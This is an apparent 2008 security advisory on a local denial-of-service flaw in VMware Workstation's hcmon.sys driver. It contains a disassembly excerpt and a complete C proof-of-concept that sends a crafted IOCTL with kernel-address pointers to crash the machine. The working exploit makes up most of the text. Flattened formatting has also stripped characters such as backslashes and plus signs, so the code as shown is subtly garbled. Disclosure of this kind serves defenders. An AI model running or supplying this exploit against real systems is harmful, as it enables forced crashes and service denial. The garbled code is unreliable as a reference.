VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability

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Hash: SHA1 - - Orange Bat advisory - Name : VMWare Workstation (hcmon.sys 6.0.0.45731)

Class : DoS

Published : 2008-08-17

Credit : g_ (g_ # orange-bat # com) - - Details - Fails to sanitize pointers sent from usermode with METHOD_NEITHER. hcmon.sys: .text:00011606 loc_11606: .text:00011606 mov eax, [ebp SystemBuffer]

.text:00011609 mov [ebp SystemBuffer2], eax

.text:0001160C mov ecx, [ebp SystemBuffer2]

.text:0001160F mov edx, [ecx 0Ch] <---- BUGCHECK

.text:00011612 cmp edx, [ebp var_20]

.text:00011615 jnz short loc_11629

.text:00011617 cmp [ebp NumberOfBytes], 70h

.text:0001161B jb short loc_11629

.text:0001161D mov eax, [ebp SystemBuffer2]

.text:00011620 cmp dword ptr [eax 8], 7FFBh

.text:00011627 jbe short loc_11638 This code can be reached by sending 0x8101232B IOCTL to .hcmon

device. - - Proof of concept - #include <windows.h>

#include <stdio.h>

#include <ddk/ntifs.h>

void TextError(LPTSTR lpszFunction)

{

// Retrieve the system error message for the last-error code LPVOID lpMsgBuf;

LPVOID lpDisplayBuf;

DWORD dw = GetLastError(); FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM |

FORMAT_MESSAGE_IGNORE_INSERTS,

NULL,

dw,

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),

(LPTSTR) &lpMsgBuf,

0, NULL ); // Display the error message and exit the process lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT,

(lstrlen((LPCTSTR)lpMsgBuf) lstrlen((LPCTSTR)lpszFunction) 40)

*sizeof(TCHAR));

sprintf((LPTSTR)lpDisplayBuf,

TEXT("%s failed with error %d: %s"),

lpszFunction, dw, lpMsgBuf);

//MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); printf(lpDisplayBuf); LocalFree(lpMsgBuf);

LocalFree(lpDisplayBuf);

}

BOOL TestIOCTL(PCHAR DeviceName, DWORD Ioctl, DWORD InputBuffer,

DWORD InputLen, DWORD OutputBuffer, DWORD OutputLen )

{

HANDLE hDevice; // handle to the drive to be examined

BOOL bResult; // results flag

DWORD junk; // discard results

IO_STATUS_BLOCK IoStatusBlock; hDevice = CreateFile(DeviceName,

0, // no access to the drive

FILE_SHARE_READ | // share mode

FILE_SHARE_WRITE,

NULL, // default security attributes

OPEN_EXISTING, // disposition

0, // file attributes

NULL); // do not copy file attributes if (hDevice == INVALID_HANDLE_VALUE) // cannot open the drive

{

TextError("CreateFile");

return (FALSE);

}

bResult = DeviceIoControl(hDevice, // device to be queried

Ioctl,

(PVOID)InputBuffer,

InputLen,

(PVOID)OutputBuffer,

OutputLen, // output buffer

&junk, // # bytes returned

(LPOVERLAPPED)NULL); // synchronous I/O

if(!bResult){

TextError("DeviceIoControl");

} CloseHandle(hDevice); return TRUE;

} int main(int argc, char *argv[])

{

DWORD Ioctl, Input, ILen, Output, OLen;

DWORD SSDT;

char *ptr; if(TestIOCTL(".hcmon", 0x8101232B, 0x80000001, 0, 0x80000002, 0)){

printf("You should not see this");

}

else{

printf("Failed to open device");

}

return 0;

}

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